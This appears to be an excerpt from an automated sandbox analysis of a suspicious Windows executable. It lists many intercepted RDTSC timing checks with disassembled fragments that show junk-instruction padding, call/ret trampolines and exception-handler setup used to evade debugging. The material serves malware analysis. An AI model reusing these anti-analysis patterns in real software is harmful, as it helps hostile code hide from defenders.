Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2CFA second address: 5F2D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F9324C341C6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0A69 second address: 5F0A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1199 second address: 5F11A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1311 second address: 5F1315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1315 second address: 5F1325 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007F9324C341C6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1325 second address: 5F132B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1475 second address: 5F147D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F147D second address: 5F148B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1BF9 second address: 5F1C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F9324C341D0h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E55AC second address: 5E55B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF1D0 second address: 5BF1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF1D6 second address: 5BF1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF1DA second address: 5BF1DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF1DE second address: 5BF1E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F24EC second address: 5F24F6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9324C341C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2829 second address: 5F283F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F93256ABCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F93256ABCB8h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2B66 second address: 5F2B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2B6E second address: 5F2B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F93256ABCC9h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7283 second address: 5F7288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F638F second address: 5F63A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 pushad 0x0000000a jnl 00007F93256ABCBCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F747B second address: 5F7485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F9324C341C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE150 second address: 5FE166 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD6E8 second address: 5FD6EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD6EC second address: 5FD707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F93256ABCBBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007F93256ABCB6h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD707 second address: 5FD71B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9324C341CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD71B second address: 5FD725 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F93256ABCB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B36E0 second address: 5B36E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B36E4 second address: 5B36F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B36F6 second address: 5B3723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9324C341D7h 0x0000000c jmp 00007F9324C341CCh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD9CF second address: 5FD9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDC9B second address: 5FDCA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F9324C341DDh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDDFE second address: 5FDE24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a jmp 00007F93256ABCC5h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDE24 second address: 5FDE39 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F9324C341CBh 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDE39 second address: 5FDE4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBCh 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F93256ABCB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDFC6 second address: 5FDFCC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDFCC second address: 5FDFDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F93256ABCB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDFDA second address: 5FDFE4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9324C341C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDFE4 second address: 5FDFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5BB4 second address: 5C5BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jbe 00007F9324C341E4h 0x0000000b jmp 00007F9324C341D8h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602E39 second address: 602E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603137 second address: 60313D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60313D second address: 60314F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F93256ABCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60314F second address: 603154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6032D6 second address: 6032DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603925 second address: 60392B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6039CC second address: 6039D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6039D9 second address: 6039DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603E95 second address: 603E9A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603E9A second address: 603EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007F9324C341CFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6044B4 second address: 6044B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6044B8 second address: 6044C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6044C6 second address: 604552 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F93256ABCB8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D5BA9h], edi 0x0000002a sub dword ptr [ebp+122D3505h], edx 0x00000030 push 00000000h 0x00000032 and esi, dword ptr [ebp+122D1984h] 0x00000038 clc 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F93256ABCB8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 push eax 0x00000056 push ecx 0x00000057 pushad 0x00000058 jmp 00007F93256ABCC7h 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604F59 second address: 604F5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9381 second address: 5C938A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607FD1 second address: 607FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C938A second address: 5C938E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C938E second address: 5C9398 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9324C341C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9398 second address: 5C939D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C939D second address: 5C93B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9324C341CEh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C93B5 second address: 5C93BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C67E second address: 60C682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B5E5 second address: 60B5F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C682 second address: 60C725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F9324C341CCh 0x0000000c jnl 00007F9324C341C6h 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 mov ebx, dword ptr [ebp+1247CABEh] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F9324C341C8h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 call 00007F9324C341D0h 0x0000003d mov bh, 0Fh 0x0000003f pop edi 0x00000040 jmp 00007F9324C341D7h 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F9324C341C8h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 0000001Ah 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 or ebx, 1D1C64B3h 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F9324C341CBh 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B5F7 second address: 60B5FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E692 second address: 60E698 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C8B0 second address: 60C941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+1244FA4Fh], esi 0x00000011 mov dword ptr [ebp+1245D65Eh], ecx 0x00000017 push dword ptr fs:[00000000h] 0x0000001e clc 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F93256ABCB8h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D3669h], ecx 0x00000046 sbb bx, 0452h 0x0000004b mov eax, dword ptr [ebp+122D01C5h] 0x00000051 mov ebx, dword ptr [ebp+122D3A02h] 0x00000057 push FFFFFFFFh 0x00000059 push 00000000h 0x0000005b push ebp 0x0000005c call 00007F93256ABCB8h 0x00000061 pop ebp 0x00000062 mov dword ptr [esp+04h], ebp 0x00000066 add dword ptr [esp+04h], 0000001Ah 0x0000006e inc ebp 0x0000006f push ebp 0x00000070 ret 0x00000071 pop ebp 0x00000072 ret 0x00000073 jmp 00007F93256ABCBBh 0x00000078 nop 0x00000079 pushad 0x0000007a push esi 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E749 second address: 60E757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E757 second address: 60E75D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D8F3 second address: 60D900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F9324C341C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E900 second address: 60E904 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F9C2 second address: 60F9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E904 second address: 60E90E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6107CD second address: 6107D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E90E second address: 60E912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F9C9 second address: 60F9E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6107D1 second address: 610880 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F93256ABCBCh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dword ptr [ebp+122D5B6Bh], ebx 0x00000016 mov dword ptr [ebp+1245289Ah], ebx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F93256ABCB8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 call 00007F93256ABCBAh 0x0000003d jng 00007F93256ABCBCh 0x00000043 mov dword ptr [ebp+1247C0D8h], eax 0x00000049 pop ebx 0x0000004a sub edi, 43BE9B1Bh 0x00000050 push 00000000h 0x00000052 push 00000000h 0x00000054 push edx 0x00000055 call 00007F93256ABCB8h 0x0000005a pop edx 0x0000005b mov dword ptr [esp+04h], edx 0x0000005f add dword ptr [esp+04h], 0000001Ch 0x00000067 inc edx 0x00000068 push edx 0x00000069 ret 0x0000006a pop edx 0x0000006b ret 0x0000006c mov ebx, dword ptr [ebp+122D3992h] 0x00000072 jmp 00007F93256ABCC7h 0x00000077 xchg eax, esi 0x00000078 push eax 0x00000079 push edx 0x0000007a jo 00007F93256ABCB8h 0x00000080 pushad 0x00000081 popad 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F9E3 second address: 60F9F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9324C341CDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E912 second address: 60E91E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F9F5 second address: 60FA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F9324C341C8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 sub dword ptr [ebp+122D2B32h], eax 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov dword ptr [ebp+122D1878h], ebx 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c call 00007F9324C341D9h 0x00000041 jns 00007F9324C341CCh 0x00000047 add dword ptr [ebp+12483DD2h], eax 0x0000004d pop edi 0x0000004e mov eax, dword ptr [ebp+122D13A5h] 0x00000054 xor dword ptr [ebp+122D2833h], edi 0x0000005a push FFFFFFFFh 0x0000005c push 00000000h 0x0000005e push eax 0x0000005f call 00007F9324C341C8h 0x00000064 pop eax 0x00000065 mov dword ptr [esp+04h], eax 0x00000069 add dword ptr [esp+04h], 00000015h 0x00000071 inc eax 0x00000072 push eax 0x00000073 ret 0x00000074 pop eax 0x00000075 ret 0x00000076 and ebx, dword ptr [ebp+122D276Fh] 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f push eax 0x00000080 push edx 0x00000081 pushad 0x00000082 popad 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610A12 second address: 610A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FA92 second address: 60FA98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612853 second address: 612872 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F93256ABCB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F93256ABCBEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EA45 second address: 60EA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610A16 second address: 610A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
